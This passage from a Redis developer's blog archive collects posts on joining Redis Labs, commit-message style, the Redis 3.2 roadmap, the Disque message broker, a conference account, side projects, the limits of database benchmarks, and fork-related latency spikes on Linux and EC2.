source side of the project, while Redis Labs continues to provide Redis users with an hassles-free Redis experience of managed instances and products. However because of my close interaction with Redis Labs I believe we'll see much more contributions from Redis Labs developers to the Redis core. Things like the memory reduction pull requests which are going to be part of Redis 3.2, or the improvements to the key eviction process they contributed for Redis 3.0, are a clear example of what happens when you have great developers working at Redis, able to observe a large set of use cases. I, Pivotal, and Redis Labs, all agree that this is important for the future of Redis, so I'm officially moving to Redis Labs starting from tomorrow morning. Thank you Pivotal and Redis Labs, we'll have to ship more OSS code in the next years, and this is just great. EDIT: Redis Labs press release can be found here: https://redislabs.com/press-releases/redis-creator-salvatore-sanfilippo-antirez-joins-redis-labs Comments

• Commit messages are not titles
  Jun 23, 2015

  Nor subjects, for what matters. Everybody will tell you to don't add a dot at the end of the first line of a commit message. I followed the advice for some time, but I'll stop today, because I don't believe commit messages are titles or subjects. They are synopsis of the meaning of the change operated by the commit, so they are small sentences. The sentence can be later augmented with more details in the next lines of the commit message, however many times there is *no* body, there is just the first line. How many emails or articles you see with just the subject or the title? Very little, I guess. So for me it is like: This is a smart synopsis, as information dense as possible. And when needed, this is the long version since: 1. I did this. 2. And resulted into this. 3. And you could reproduce this way. So every time I'll be told again to don't put a dot at the end, I'll link to this article. But no, it's not just a matter of a dot. If the first line of a commit message is a title, it changes *the way* you write it. It becomes just some text to introduce some more text, without any stress on the information density. Coders gotta code, so if something can be told in a very short way in one line, do it, and reserve the other additional informations for the next line, without sacrificing the first line since "It's a title". Moreover, programming is the art of writing synopsis, otherwise you end with programs much more complex they should be. So perhaps it's also a good exercise for us. Comments

• Plans for Redis 3.2
  Jun 12, 2015

  I’m back from Paris, DotScale 2015 was a very interesting conference. Before leaving I was working on Sentinel in the context of the unstable branch: the work was mainly about connection sharing. In short, it is the ability of a few Sentinels to scale, monitoring many masters. Before to leave, and now that I’m back, I tried to “secure” a set of features that will be the basis for Redis 3.2. In the next weeks I’ll be focusing developing these features, so I thought it’s worth to share the list with you ASAP. Geo hashing API: This work originated from Ardb, that was originally a fork of Redis (https://github.com/yinqiwen/ardb), and was later extracted and improved by Matt Stancliff (https://matt.sh/redis-geo) that ported it to Redis. Open source is cool eh? The code needs a refactoring effort since currently duplicates parts of the sorted set implementation. It is not impossible that I may also change a few things about the API, I’m currently not sure, if there is something to fix, I’ll fix it. But the bottom line is: this is a great feature, now that Matt is no longer contributing to Redis, there is a huge risk to lose this work, so I’m going to do the effort of refactoring, reviewing and merging it as the first of the tasks for Redis 3.2. I think it is a very exciting addition to the Redis API. Bloom filters: We’ll get bloom filters in 3.2. I’m not sure if this will be implemented as a String type feature like HyperLogLog are, but more likely as a new special type, since I'm interested in non trivial semantics that are more easy to provide as a new type. I’ve many design ideas for bloom filters, but I’m pretty sure I would like to have the ability to control from the API the accuracy/space tradeoff, perhaps not in the lower level from of specifying number of bits and hash functions to use, but in a more higher level way. Another thing I would love to have in this API is the ability of the bloom filter to auto-depollute itself (using multiple rotating filters or something like that). I’ll read all the available literature and decide what to do, but we’ll get this feature into 3.2. Memory PRs: there are two important PRs from RedisLabs to improve Redis memory usage. We’ll get both merged. Memory introspection command: A command that provides information about memory, like the LATENCY command but for memory usage. Hints about where is memory consumed, if its just the RSS that is high because of past peak memory usage, hints about amount of memory used by client output buffers, ability to resize the hash tables to save some memory if needed, and so forth. Some Redis Cluster multi DC support. This will probably just be a “static” option of Cluster slaves so that they’ll not take part to promotion when the master fails. In this way using CLUSTER FAILOVER TAKEOVER it will be possible to promote all the slaves in a minority partition. New List type operations: A few O(1) list operations like LMERGE, and O(N) operations that will be normally used with N very small so that they are most of the times O(1) operations, like operations to move N elements from a list to another. AOF safety feature: https://github.com/antirez/redis/pull/2574 AOF rewrites optionally using an RDB preamble, so that rewriting the AOF and reloading back the content at startup is faster. SPOP COUNT option (already implemented, 3.2 will be the first stable versions to get it)) Redis Cluster redis-trib rebalance command, in order to automatically rehash keys to end with an more homogeneous memory usage between nodes. A few things originally planned for 3.2 were ported to 3.0 since they were safe. A recent example is ZADD with support for options like NX and XX. In general it is possible that a few more commands about existing types will be added to Redis 3.2. This is basically a Redis version which is designed to make happy people that wanted more in the API side, since for a while we focused more on the operations aspect of Redis. About the ETA, the work is starting Monday, and I hope they’ll not take more time than the end of September, when the first RC will be pushed. Once it is RC, the RC -> Stable transition time is not scheduled, it is a function of the reporting time of critical bugs. Once for a few weeks nobody notices more bad issues, we’ll go stable. I’ll follow up with new blog posts about single entries listed above, like for the Geo hashing thing, the bloom filter final implementation and API description, and so forth. In the meantime, have fun with Redis 3.0! Comments

• Adventures in message queues
  Mar 15, 2015

  EDIT: In case you missed it, Disque source code is now available at http://github.com/antirez/disque It is a few months that I spend ~ 15-20% of my time, mostly hours stolen to nights and weekends, working to a new system. It’s a message broker and it’s called Disque. I’ve an implementation of 80% of what was in the original specification, but still I don’t feel like it’s ready to be released. Since I can’t ship, I’ll at least blog… so that’s the story of how it started and a few details about what it is. ~ First steps ~ Many developers use Redis as a message queue, often wrappered via some library abstracting away Redis low level primitives, other times directly building a simple, ad-hoc queue, using the Redis raw API. This use case is covered mainly using blocking list operations, and list push operations. Redis apparently is at the same time the best and the worst system to use like that. It’s good because it is fast, easy to inspect, deploy and use, and in many environments it was already one piece of the infrastructure. However it has disadvantages because Redis mutable data structures are very different than immutable messages. Redis HA / Cluster tradeoffs are totally biased towards large mutable values, but the same tradeoffs are not the best ones to deal with messages. One thing that is important to guarantee for a message broker is that a message is delivered either at least one time, or at most one time. In short given that to guarantee an exact single delivery of a message (where for delivery we intent a message that was received *and* processed by a worker) is practically impossible, the choices are that the message broker is able to guarantee either 0 or 1 deliveries, or 1 to infinite deliveries. This is often referred as at-most-once semantics, and at-least-once semantics. There are use cases for the first, but the most interesting and practical semantics is the latter, that is, to guarantee that a message is delivered at least one time, and deliver multiple times if there are failures. So a few months ago I started to think at some client-side protocol to use a set of Redis masters (without replication or clustering whatsoever) in a way that provides these guarantees. Sometimes with small changes in the way Redis is used for an use case, it is possible to end with a better system. For example for distributed locks I tried to document an algorithm which is trivial to implement but more robust than the single-instance + failover implementation (http://redis.io/topics/distlock). However after a few days of work my design draft suggested that it was a better bet to design an ad-hoc system, since the client-side algorithm ended being too complex, non optimal, and certain things I absolutely wanted were impossible or very hard to do. To add more things to Redis sounded like a bad idea, it does a lot of things already, and to cover messaging well I needed things which are very different than the way Redis operates. But why to design a new system given that the world is full of message brokers? Because an impressive number of users were using Redis instead of systems specifically designed for this goal, and this was strange. A few can be wrong, but so many need to get some reason. Maybe Redis low barrier of entry, easy API, speed, were not what most people were accustomed to when they looked at the message brokers landscape. It seems populated by solutions that are either too simple, asking the application to do too much, or too complex, but super full featured. Maybe there is some space for the “Redis of messaging”? ~ Redis brutally forked ~ For the first time in my life I didn’t started straight away to write code. For weeks I looked at the design from time to time, converted it into a new system and not a Redis client library, and tried to understand, as an user, what would make me very happy in a message broker. The original use case remained the same: delayed jobs. Disque is a general system, but 90% of times in the design the “reference” was an user that has to solve the problem of sending messages that are likely jobs to process. If something was against this use case, it was removed. When the design was ready, I finally started to code. But where to start? “vi main.c”? Fortunately Redis is, in part, a framework to write distributed systems in C. I had a protocol, network libraries, clients handling, node-to-node message bus. To rewrite all this from scratch sounded like a huge waste. At the same time I wanted Disque to be able to completely diverge from Redis in any details possible if this is needed, and I wanted it to be a side project without impacts on Redis itself. So instead of trying the huge undertake of splitting Redis into an actual separated framework, and the Redis implementation, I took a more pragmatic approach: I forked the code, and removed everything that was Redis specific from the source code, in order to end with a skeleton. At this point I was ready to implement my specification. ~ What is Disque? ~ After a few months of very non intense work and just 200 commits I’ve finally a system that no longer looks like a toy: it looked like a toy for many weeks so I was afraid of even talking about it, since the probability of me just deleting the source tree was big. Now that most of the idea is working code with tests, I’m finally sure this will be released in the future, and to talk about the tradeoffs I took in the design. Disque is a distributed system, by default. Since it is an AP system, it made no sense to have like in Redis a single-node mode and a distributed mode. A single Disque node is just a particular case of a cluster, having just one node. So this was of the important points in the design: fault tolerant, resistant to partitions, and available no matter how many nodes are still up, aka AP. I also wanted a system that was inherently able to scale in different scenarios, both when the issue is many producers and consumers with many queues, and when instead all this producers and consumers are all focusing on a single queue, that may be distributed into multiple nodes. My requirements were telling me aloud one thing… that Disque was going to make a big design sacrifice. Message ordering. Disque only provides best-effort ordering. However because of this sacrifice, there is a lot to gain… tradeoffs are interesting since sometimes they totally open the design space. I could continue recounting you what Disque is like that, however a few months ago I saw a comment in Hacker News, written by Jacques Chester, see https://news.ycombinator.com/item?id=8709146 [EDIT: SORRY I made an error cut&pasting the wrong name of Adrian (Hi Adrian, sorry for misquoting you!)]. Jacques, that happens to work for Pivotal like me, was commenting how different messaging systems have very different set of features, properties, and without the details it is almost impossible to evaluate the different choices, and to evaluate if one is faster than the other because it has a better implementation, or simple offers a lot less guarantees. So he wrote a set of questions one should ask when evaluating a messaging system. I’ll use his questions, and add a few more, in order to describe what Disque is, in the hope that I don’t end just hand waving, but providing some actual information. Q: Are messages delivered at least once? In Disque you can chose at least once delivery (the default), or at most once delivery. This property can be set per message. At most once delivery is just a special case of at least once delivery, setting the “retry” parameter of the message to 0, and replicating the message to a single node. Q: Are messages acknowledged by consumers? Yes, the only way for a consumer to tell the system the message got delivered correctly, is to acknowledge it. Q: Are messages delivered multiple times if not acknowledged? Yes, Disque will automatically deliver the message again, after a “retry” time, forever (up to the max TTL time for the message). When messages are acknowledged, the acknowledge is propagated to the nodes having a copy of the message. If the system believes everybody was reached, the message is finally garbage collected and removed. Acknowledged messages are also evicted during memory pressure. Nodes run a best-effort algorithm to avoid to queue the same message multiple times, in order to approximate single delivery better. However during failures, multiple nodes may re-deliver the same message multiple times at the same time. Q: Is queueing durable or ephemeral. Durable. Q: Is durability achieved by writing every message to disk first, or by replicating messages across servers? By default Disque runs in-memory only, and uses synchronous replication to achieve durability (however you can ask, per message, to use asynchronous replication). It is possible to turn AOF (similarly to Redis) if desired, if the setup is likely to see a mass-reboot or alike. When the system is upgraded it is possible to write the AOF on disk just for the upgrade in order to don’t lose the state after a restart even if normally disk persistence is not used. Q: Is queueing partially/totally consistent across a group of servers or divided up for maximal throughput? Divided up for throughput, however message ordering is preserved in a best-effort way. Each message has an immutable “ctime” which is a wall-clock milliseconds timestamp plus an incremental ID for messages generated in the same millisecond. Nodes use this ctime in order to sort messages for delivery. Q: Can messages be dropped entirely under pressure? (aka best effort) No, however new messages may be refused if there is no space in memory. When 75% of memory is in use, nodes receiving messages try to externally replicate them, just to outer nodes, without taking a copy, but it many not work if also the other nodes are in an out of memory condition. Q: Can consumers and producers look into the queue, or is it totally opaque? There are commands to “PEEK” into queues. Q: Is queueing unordered, FIFO or prioritised? Best-effort FIFO-ish as explained. Q: Is there a broker or no broker? Broker as a set of masters. Clients can talk to whatever node they want. Q: Does the broker own independent, named queues (topics, routes etc) or do producers and consumers need to coordinate their connections? Named queues. Producers and consumers does not need to coordinate, since nodes use federation to discover routes inside the cluster and pass messages as they are needed by consumers. However the client is provided with hints in case it is willing to relocate where more consumers are. Q: Is message posting transactional? Yes, once the command to add a message returns, the system guarantees that there are the desired number of copies inside the cluster. Q: Is message receiving transactional? I guess not, since Disque will try to deliver the same message again if not acknowledged. Q: Do consumers block on receive or can they check for new messages? Both behaviors are supported, by default it blocks. Q: Do producers block on send or can they check for queue fullness? The producer may ask to get an error when adding a new message if the message length is already greater than a specified value in the local node it is pushing the message. Moreover the producer may ask to replicate the message asynchronously if it want to run away ASAP and let the cluster replicate the message in a best-effort way. There is no way to block the consumer if there are too many messages in the queue, and unblock it as soon as there are less messages. Q: Are delayed jobs supported? Yes, with second granularity, up to years. However they’ll use memory. Q: Can consumers and producers connect to different nodes? Yes. I hope with this post Disque is a bit less vaporware. Sure, without looking at the code it is hard to tell, but if your best feature is out you can already complain at least. How much of the above is already implemented and working well? Everything but AOF disk persistence, and a few minor things I want to refine in the API, so first release should not be too far, but working at it so rarely it is hard to get super fast. Comments

• Redis Conference 2015
  Mar 10, 2015

  I’m back home, after a non easy trip, since to travel from San Francisco to Sicily is kinda NP complete: there are no solutions involving less than three flights. However it was definitely worth it, because the Redis Conference 2015 was very good, SF was wonderful as usually and I was able to meet with many interesting people. Here I’ll limit myself to writing a short account of the conference, but the trip was also an incredible experience because I discovered old and new friends, that are not just smart programmers, but also people I could imagine being my friends here in Sicily. I never felt alone while I was 10k kilometers away from my home. The conference was organized by RackSpace in a magistral way, with RedisLabs, Heroku, and Hulu, sponsoring it as well. I can’t say thank you enough times to everybody. Many people traveled from different parts of US and outside US to SF just for a couple of days, the venue was incredibly cool, and everything organized in the finest details. There was even an incredible cake for the Redis 6th birthday :-) However the killer features of the conference were, the number and the quality of the attenders (mostly actual Redis users), around 250 people, and the quality of the talks. The conference was free, even if it did not looked like a free conference at all, at any level. An incredible stage where to talk, very high quality food, plenty of space. All this honestly helped to create a setup for interesting exchanges. Everybody was using Redis for something, to get actual things done, and a lot of people shared their experiences. Among the talks I found Hulu and Heroku ones extremely interesting, because they covered details about different use cases and operational challenges. I also happen to agree with Bill Andersen (from RackSpace) vision on benchmarking Redis in a use-case oriented fashion, even if I missed the initial part of his talk because I was being interviewed, but the cool thing is, there will be recordings of the talks, so it will be possible for everybody to watch them when available at the conf site, which is, http://redisconference.com I was approached by several VeryLargeCompanies recounting stories of how they are using or are going to use Redis to do VeryLargeUseCase. Basically at this point Redis is everywhere. Redis Conference was a big gift to the Redis community… and in some way it shows very well how much there is a Redis outside Redis, I mean, at this point it has a life outside the borders of the server and client libraries repositories. It is a technology with many users that exchange ideas and that work with it in different ways: internally to companies to provide it as a technology to cover a number of use cases, and also in the context of cloud providers, that are providing it as a service to other companies. One thing I did not liked was Matt Stancliff talk. He tried to uncover different problems in the Redis development process, and finally proposed the community to replace me as the project leader, with him. In my opinion what Matt actually managed to do was to cherry-pick from my IRC, Twitter and Github issues posts in a very unfair way, in order to provide a bad imagine of myself. I think this was a big mistake. Moreover he did the talk as the last talk, not providing a right to reply. Matt and I happen to be persons with very different visions in many ways, however Redis is a project I invested many years into, and I’m not going to change my vision, I’m actually afraid I merged some code under pressure that I now find non well written and designed. What prevents Redis for becoming a monoculture is its license, if the community at some point really believes it is possible to do much better, or simply to do things in a very different way, some forks will appear, and darwinian selection will work to make sure we have the best Redis possible. Technical leadership is a reward for the work you are capable to do, is not asked at conferences. Moreover technology is not just code, is also about human interactions, and life is too short to interact with people we don’t share the same fundamental values of what a good behavior is. Well, even if this left some bitter taste, overall the Redis Conference was a magical experience, and even Matt talk actually helped me to understand what to do in the future and what I want for this project. Thank you to who made it possible and to all the attenders, I hope to see you again next year. Comments

• Side projects
  Feb 26, 2015

  Today Redis is six years old. This is an incredible accomplishment for me, because in the past I switched to the next thing much faster. There are things that lasted six years in my past, but not like Redis, where after so much time, I still focus most of my everyday energies into. How did I stopped doing new things to focus into an unique effort, drastically monopolizing my professional life? It was a too big sacrifice to do, for an human being with a limited life span. Fortunately I simply never did this, I never stopped doing new things. If I look back at those 6 years, it was an endless stream of side projects, sometimes related to Redis, sometimes not. 1) Load81, children programming environment. 2) Dump1090, software defined radio ADS-B decoder. 3) A Javascript ray tracer. 4) lua-cmsgpack, C implementation of msgpack for Lua. 5) linenoise line editing library. Used in Redis, but well, was not our top priority. 6) lamernews, Redis-based HN clone. 7) Gitan, a small Git web interface. 8) shapeme, images evolver using simulated annealing. 9) Disque, a distributed queue (work in progress right now). And there are much more throw-away projects not listed here. The interesting thing is that many of the projects listed above are not random hacking efforts that had as an unique goal to make me happy. A few found their way into other people’s code. Because of the side projects, I was able to do different things when I was stressed and impoverished from doing again and again the same thing. I could later refocus on Redis, and find again the right motivations to have fun with it, because small projects are cool, but to work for years at a single project can provide more value for others in the long run. So currently I’m using something like 20% of my time to hack on Disque, a distributed message queue. So only 80% is left for Redis development, right? Wrong. The deal is between 80% of focus on Redis and 20% on something else, or 0% of focus on Redis in the long term, because in order to have a long term engagement, you need a long term alternative to explore new things. Side projects are the projects making your bigger projects possible. Moreover they are often the start of new interesting projects. Redis itself was a side project of LLOOGG. Sometimes you stop working at your main project because of side projects, but when this happens it is not because your side project captured your focus, it is because you managed to find a better use for your time, since the side project is more important, interesting, and compelling than the main project. Redis is six years old today, but is aging well: it continues to capture the attention of more developers, and it continues to improve in order to provide a bit more value to users every week. However for me, more users, more pull requests, and more pressure, does not mean to change my setup. What Redis is today is the sum of the work we put into it, and the endurance in the course of six years. To continue along the same path, I’ll make sure to have a few side projects for the next years. UPDATE: Damian Janowski provided an incredible present for the Redis community today, the renewed Redis.io web site is online now! http://redis.io. Thanks Damian! HN comments here: https://news.ycombinator.com/item?id=9112250 Comments

• Why we don’t have benchmarks comparing Redis with other DBs
  Jan 29, 2015

  Redis speed could be one selling point for new users, so following the trend of comparative “advertising” it should be logical to have a few comparisons at Redis.io. However there are two problems with this. One is of goals: I don’t want to convince developers to adopt Redis, we just do our best in order to provide a suitable product, and we are happy if people can get work done with it, that’s where my marketing wishes end. There is more: it is almost always impossible to compare different systems in a fair way. When you compare two databases, to get fair numbers, they need to share *a lot*: data model, exact durability guarantees, data replication safety, availability during partitions, and so forth: often a system will score in a lower way than another system since it sacrifices speed to provide less “hey look at me” qualities but that are very important nonetheless. Moreover the testing suite is a complex matter as well unless different database systems talk the same exact protocol: differences in the client library alone can contribute for large differences. However there are people that beg to differ, and believe comparing different database systems for speed is a good idea anyway. For example, yesterday a benchmark of Redis and AerospikeDB was published here: http://lynnlangit.com/2015/01/28/lessons-learned-benchmarking-nosql-on-the-aws-cloud-aerospikedb-and-redis/. I’ll use this benchmark to show my point about how benchmarks are misleading beasts. In the benchmark huge EC2 instances are used, for some strange reason, since the instances are equipped with 244 GB of RAM (!). Those are R3.8xlarge instances. For my tests I’ll use a more real world m3.medium instance. Using such a beast of an instance Redis scored, in the single node case, able to provide 128k ops per second. My EC2 instance is much more limited, testing from another EC2 instance with Redis benchmark, not using pipelining, and with the same 100 bytes data size, I get 32k ops/sec, so my instance is something like 4 times slower, in the single process case. Let’s see with Redis INFO command how the system is using the CPU during this benchmark: # CPU used_cpu_sys:181.78 used_cpu_user:205.05 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 127.0.0.1:6379> info cpu … after 10 seconds of test … # CPU used_cpu_sys:184.52 used_cpu_user:206.42 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 Redis spent ~ 3 seconds of system time, and only ~ 1.5 seconds in user space. What happens here is that for each request the biggest part of the work is to perform the read() and write() call. Also since it’s one-query one-reply workload for each client, we pay a full RTT for each request of each client. Now let’s check what happens if I use pipelining instead, a feature very known and much exploited by Redis users, since it’s the only way to maximize the server usage, and there are usually a number of places in the application where you can perform multiple operations at a given time. With a pipeline of 32 operations the numbers changed drastically. My tiny instance was able to deliver 250k ops/sec using a single core, which is 25% of the *top* result using 32 (each faster) cores in the mentioned benchmark. Let’s look at the CPU time: # CPU used_cpu_sys:189.16 used_cpu_user:216.46 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 127.0.0.1:6379> info cpu … after 10 seconds of test … # CPU used_cpu_sys:190.60 used_cpu_user:224.92 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 This time we are actually using the database engine to serve queries with our CPU, we are not just losing much of the time context switching. We used ~1.5 seconds of system time, and 8.46 seconds into the Redis process itself. Using lower numbers in the pipeline gets us results in the middle. Pipeline of 4 = 100k ops/sec (that should translate to ~ 400k ops/sec in the bigger instance used in the benchmark), pipeline 8 = 180k ops/sec, and so forth. So basically it is not a coincidence that benchmarking Redis and AerospikeDB in this way we get remarkably similar results. More or less you are not testing the databases, but the network stack and the kernel. If the DB can serve queries using a read and a write system call without any other huge waste, this is what we get, and here the time to serve the actual query is small since we are talking about data fitting into memory (just a note, 10M keys of 100k in Redis will use a fraction of the memory that was allocated in those instances). However there is more about that. What about the operations we can perform? To test Redis doing GET/SET is like to test a Ferrari checking how good it is at cleaning the mirror when it rains. A fundamental part of the Redis architecture is that largely different operations have similar costs, so what about our huge Facebook game posting scores of the finished games to create the leaderboard? The same single process can do 110k ops/sec when the query is: ZADD myscores . But let’s demand more, what about estimating the cardinality with the HyperLogLog, at the same time adding new elements and reading the current guess with two redis-benchmark processes? Set size is 10 millions again. So during this test I spawned a benchmark executing PFADD with random elements of the set, and another doing PFCOUNT at the same time in the same HyperLogLog. Both scored simultaneously at 250k ops/sec, for a total of half a million ops per second with a single Redis process. In Redis doing complex operations is similar to pipelining. You want to do *more* for each read/write, otherwise your performance is dominated by I/O. Ok, so a few useful remarks. 1) GET/SET Benchmarks are not a great way to compare different database systems. 2) A better performance comparison is by use case. You say, for a given specific use case, using different data model, schema, queries, strategies, how much instances I need to handle the same traffic for the same app with two different database systems? 3) Test with instance types most people are going to actually use, huge instance types can mask inefficiencies of certain database systems, and is anyway not what most people are going to use. We’ll continue to optimize Redis for speed, and will continue to avoid posting comparative benchmarks. [Thanks to Amazon AWS for providing me free access to EC2] Comments

• Redis latency spikes and the Linux kernel: a few more details
  Nov 03, 2014

  Today I was testing Redis latency using m3.medium EC2 instances. I was able to replicate the usual latency spikes during BGSAVE, when the process forks, and the child starts saving the dataset on disk. However something was not as expected. The spike did not happened because of disk I/O, nor during the fork() call itself. The test was performed with a 1GB of data in memory, with 150k writes per second originating from a different EC2 instance, targeting 5 million keys (evenly distributed). The pipeline was set to 4 commands. This translates to the following command line of redis-benchmark: ./redis-benchmark -P 4 -t set -r 5000000 -n 1000000000 Every time BGSAVE was triggered, I could see ~300 milliseconds latency spikes of unknown origin, since fork was taking 6 milliseconds. Fortunately Redis has a software watchdog feature, that is able to produce a stack trace of the process during a latency event. It’s quite a simple trick but works great: we setup a SIGALRM to be delivered by the kernel. Each time the serverCron() function is called, the scheduled signal is cleared, so actually Redis never receives it if the control returns fast enough to the Redis process. If instead there is a blocking condition, the signal is delivered by the kernel, and the signal handler prints the stack trace. Instead of getting stack traces with the fork call, the process was always blocked near MOV* operations happening in the context of the parent process just after the fork. I started to develop the theory that Linux was “lazy forking” in some way, and the actual heavy stuff was happening later when memory was accessed and pages had to be copy-on-write-ed. Next step was to read the fork() implementation of the Linux kernel. What the system call does is indeed to copy all the mapped regions (vm_area_struct structures). However a traditional implementation would also duplicate the PTEs at this point, and this was traditionally performed by copy_page_range(). However something changed… as an optimization years ago: now Linux does not just performs lazy page copying, as most modern kernels. The PTEs are also copied in a lazy way on faults. Here is the top comment of copy_range_range(): * Don't copy ptes where a page fault will fill them correctly. * Fork becomes much lighter when there are big shared or private * readonly mappings. The tradeoff is that copy_page_range is more * efficient than faulting. Basically as soon as the parent process performs an access in the shared regions with the child process, during the page fault Linux does the big amount of work skipped by fork, and this is why I could see always a MOV instruction in the stack trace. While this behavior is not good for Redis, since to copy all the PTEs in a single operation is more efficient, it is much better for the traditional use case of fork() on POSIX systems, which is, fork()+exec*() in order to spawn a new process. This issue is not EC2 specific, however virtualized instances are slower at copying PTEs, so the problem is less noticeable with physical servers. However this is definitely not the full story. While I was testing this stuff in my Linux box, I remembered that using the libc malloc, instead of jemalloc, in certain conditions I was able to measure less latency spikes in the past. So I tried to check if there was some relation with that. Indeed compiling with MALLOC=libc I was not able to measure any latency in the physical server, while with jemalloc I could observe the same behavior observed with the EC2 instance. To understand better the difference I setup a test with 15 million keys and a larger pipeline in order to stress more the system and make more likely that page faults of all the mmaped regions could happen in a very small interval of time. Then I repeated the same test with jemalloc and libc malloc: bare metal, 675k/sec writes to 15 million keys, jemalloc: max spike 339 milliseconds. bare metal, 675k/sec writes to 15 million keys, malloc: max spike 21 milliseconds. I quickly tried to replicate the same result with EC2, same stuff, the spike was a fraction with malloc. The next logical thing after this findings is to inspect what is the difference in the memory layout of a Redis system running with libc malloc VS one running with jemalloc. The Linux proc filesystem is handy to investigate the process internals (in this case I used /proc//smaps file). Jemalloc memory is allocated in this region: 7f8002c00000-7f8062400000 rw-p 00000000 00:00 0 Size: 1564672 kB Rss: 1564672 kB Pss: 1564672 kB Shared_Clean: 0 kB Shared_Dirty: 0 kB Private_Clean: 0 kB Private_Dirty: 1564672 kB Referenced: 1564672 kB Anonymous: 1564672 kB AnonHugePages: 1564672 kB Swap: 0 kB KernelPageSize: 4 kB MMUPageSize: 4 kB Locked: 0 kB VmFlags: rd wr mr mw me ac sd While libc big region looks like this: 0082f000-8141c000 rw-p 00000000 00:00 0 [heap] Size: 2109364 kB Rss: 2109276 kB Pss: 2109276 kB Shared_Clean: 0 kB Shared_Dirty: 0 kB Private_Clean: 0 kB Private_Dirty: 2109276 kB Referenced: 2109276 kB Anonymous: 2109276 kB AnonHugePages: 0 kB Swap: 0 kB KernelPageSize: 4 kB MMUPageSize: 4 kB Locked: 0 kB VmFlags: rd wr mr mw me ac sd Looks like here there are a couple different things. 1) There is [heap] in the first line only for libc malloc. 2) AnonHugePages field is zero for libc malloc but is set to the size of the region in the case of jemalloc. Basically, the difference in latency appears to be due to the fact that malloc is using transparent huge pages, a kernel feature that allows to transparently glue multiple normal 4k pages into a few huge pages, which are 2048k each. This in turn means that copying the PTEs for this regions is much faster. EDIT: Unfortunately I just spotted that I'm totally wrong, the huge pages apparently are only used by jemalloc: I just mis-read the outputs since this seemed so obvious. So on the contrary, it appears that the high latency is due to the huge pages thing for some unknown reason. So actually it is malloc that, while NOT using huge pages, is going much faster. I've no idea about what is happening here, so please disregard the above conclusions. Meanwhile for low latency applications you may want to build Redis with “make MALLOC=libc”, however make sure to use “make distclean” before, and be aware that depending on the work load, libc malloc suffers fragmentation more than jemalloc. More news soon… EDIT2: Oh wait... since the problem is huge pages, this is MUCH better, since we can disable it. And I just verified that it works: echo never > /sys/kernel/mm/transparent_hugepage/enabled This is the new Redis mantra apparently. UPDATE: While this seemed unrealistic to me, I experimentally verified that the huge pages memory spike is due to the fact that with 50 clients writing at the same time, with N queued requests each, the Redis process can touch in the space of *a single event loop iteration* all the process pages, so its copy-on-writing the entire process address space. This means that not only huge pages are horrible for latency, but that are also horrible for memory usage. Comments

• Redis latency spikes and the 99th percentile
  Oct 30, 2014

  One interesting thing about the Stripe blog post about Redis is that they included latency graphs obtained during their tests. In order to persist on disk Redis requires to call the fork() system call. Usually forking using physical servers, and most hypervisors, is fast even with big processes. However Xen is slow to fork, so with certain EC2 instance types (and other virtual servers providers as well), it is possible to have serious latency spikes every time the parent process forks in order to persist on disk. The Stripe graph is pretty clear in this regard. img://antirez.com/misc/stripe-latency.png As you can guess, if you perform a latency test during the fork, all the requests crossing the moment the parent process forks will be delayed up to one second (taking as example the graph above, not sure about what was the process size nor the EC2 instance). This will produce a number of samples with high latency, and will affect the 99th percentile result. To change instance type, configuration, setup, or whatever in order to improve this behavior is a good idea, and there are use cases where even a single request having a too high latency is unacceptable. However apparently it is not obvious how latency spikes of 1 second every 30 minutes (or more, if you use AOF with the right rewrite triggers) is very different from latency spikes which are evenly distributed in the set of requests. With evenly distributed spikes, if the generation of a page needs to perform a number of requests to a Redis server in order to create the output, it is very likely that a page view will incur in the latency penalty: this impacts the quality of service in a great way potentially, check this link: http://latencytipoftheday.blogspot.it/2014/06/latencytipoftheday-most-page-loads.html. However 1 second of latency every 30 minutes run is a completely different thing. For once, the percentile with good latency gets better *as the number of requests increase*, since the more the requests are, the more this second of latency will be unlikely to get over-represented in the samples (if you have just 1 request per minute, and one of those requests happen to hit the high latency, it will affect the 99.99th percentile much more than what happens with 100 requests per second). Second: most page views will be unaffected. The only users that will see the 1 second delay are the ones that make a request crossing the fork call. All the other requests will experience an extremely low probability of hitting a request that has a latency which is significantly worse than the average latency. Also note that a page view crossing the fork time, even when composed of 100 requests, can’t be delayed for more than a second, since the requests are completed as soon as the fork() call terminates. The bottom line here is that, if there are hard latency requirements for each single request, it is clear that a setup where a request can be delayed 1 second from time to time is a big problem. However when the goal is to provide a good quality of service, the distribution of the latency spikes have a huge effect on the outcome. Redis latency spikes due to fork on Xen are isolated points in the line of time, so they affect a percentage of page views, even when the page views are composed of a big number of Redis requests, which is proportional to the latency spike total time percentage, which is, 1 second every 1800 seconds in this case, so only the 0.05% of the page views will be affected. Latency characteristics are hard to capture with a single metric: the full percentile curve and the distribution of the spikes, can provide a better picture. In general good rule of thumbs are a good way to start a research, and in general it is true that the average latency is a poor metric. However to promote a rule of thumb into an absolute truth has also its disadvantages, since many complex things remain complex, and in need for close inspection, regardless of our willingness to over simplify them. At the same time, fork delays in EC2 instances are one of the worst experiences for Redis users in one of the most popular runtime environments today, so I’m starting to test Redis with EC2 regularly now: we’ll soon have EC2 specific optimization pages on the Redis official documentation, and a way to operate master-slaves replicas with persistence disabled in a safer way. If you need EC2 + Redis master with persistence disabled now, the simplest to deploy “quick fix” is to disable automatic restarts of Redis instances, and use Sentinel for failover, so that crashed masters will not automatically return available, and will be failed over by Sentinel. The system administrator can restart the master manually after checking that the failover was successful and there is a new active master. EDIT: Make sure to check the Hacker News thread that contains interesting information about EC2, Xen and fork time: https://news.ycombinator.com/item?id=8532851. Also not all the EC2 instances are the same, and certain types provide great fork time on pair with bare metal systems: https://redislabs.com/blog/testing-fork-time-on-awsxen-infrastructure#.VFJQ-JPF8yF Comments

• This is why I can’t have conversations using Twitter
  Oct 29, 2014

